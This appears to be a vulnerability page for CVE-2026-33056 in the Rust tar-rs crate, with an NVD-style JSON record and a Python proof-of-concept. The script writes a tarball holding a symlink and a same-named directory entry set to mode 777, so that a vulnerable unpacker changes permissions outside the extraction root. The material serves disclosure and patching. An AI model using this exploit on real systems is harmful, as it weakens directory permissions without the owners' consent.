CVE-2026-33056

import tarfile import os # Create a malicious tarball that exploits CVE-2026-33056 # Structure: # 1. Symlink: 'safe_dir' -> '/tmp/real_target' # 2. Directory: 'safe_dir' (triggers chmod on the symlink target) # Ensure a target exists for demonstration purposes target_dir = '/tmp/real_target' if not os.path.exists(target_dir): os.makedirs(target_dir) filename = 'cve_2026_33056_poc.tar' with tarfile.open(filename, 'w') as tar: # Step 1: Create a symlink entry # This creates a link named 'safe_dir' pointing to an external directory symlink_info = tarfile.TarInfo(name='safe_dir') symlink_info.type = tarfile.SYMTYPE symlink_info.linkname = target_dir tar.addfile(symlink_info) # Step 2: Create a directory entry with the SAME name # When tar-rs processes this, it checks metadata('safe_dir'). # Because of the bug, it follows the symlink to '/tmp/real_target'. # It then applies chmod to '/tmp/real_target'. dir_info = tarfile.TarInfo(name='safe_dir') dir_info.type = tarfile.DIRTYPE # e.g., setting permissions to 777 dir_info.mode = 0o777 tar.addfile(dir_info) print(f"[+] Created exploit archive: {filename}") print(f"[+] Extracting this with vulnerable tar-rs will chmod {target_dir}")

{"cve": {"id": "CVE-2026-33056", "sourceIdentifier": "[email protected]", "published": "2026-03-20T08:16:11.603", "lastModified": "2026-03-24T16:17:11.623", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "tar-rs is a tar archive reading/writing library for Rust. In versions 0.4.44 and below, when unpacking a tar archive, the tar crate's unpack_dir function uses fs::metadata() to check whether a path that already exists is a directory. Because fs::metadata() follows symbolic links, a crafted tarball containing a symlink entry followed by a directory entry with the same name causes the crate to treat the symlink target as a valid existing directory — and subsequently apply chmod to it. This allows an attacker to modify the permissions of arbitrary directories outside the extraction root. This issue has been fixed in version 0.4.45."}, {"lang": "es", "value": "tar-rs es una biblioteca de lectura/escritura de archivos tar para Rust. En las versiones 0.4.44 e inferiores, al desempaquetar un archivo tar, la función `unpack_dir` del crate `tar` utiliza `fs::metadata()` para verificar si una ruta que ya existe es un directorio. Debido a que `fs::metadata()` sigue los enlaces simbólicos, un tarball manipulado que contiene una entrada de enlace simbólico seguida de una entrada de directorio con el mismo nombre hace que el crate trate el destino del enlace simbólico como un directorio existente válido y, posteriormente, le aplique `chmod`. Esto permite a un atacante modificar los permisos de directorios arbitrarios fuera de la raíz de extracción. Este problema ha sido solucionado en la versión 0.4.45."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "ACTIVE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-61"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:tar_project:tar:*:*:*:*:*:rust:*:*", "versionEndExcluding": "0.4.45", "matchCriteriaId": "6F3757EC-A7DB-41C4-A2CC-6D4BC1F59573"}]}]}], "references": [{"url": "https://github.com/alexcrichton/tar-rs/commit/17b1fd84e632071cb8eef9d3709bf347bd266446", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/alexcrichton/tar-rs/security/advisories/GHSA-j4xf-2g29-59ph", "source": "[email protected]", "tags": ["Mitigation", "Vendor Advisory", "Exploit"]}]}}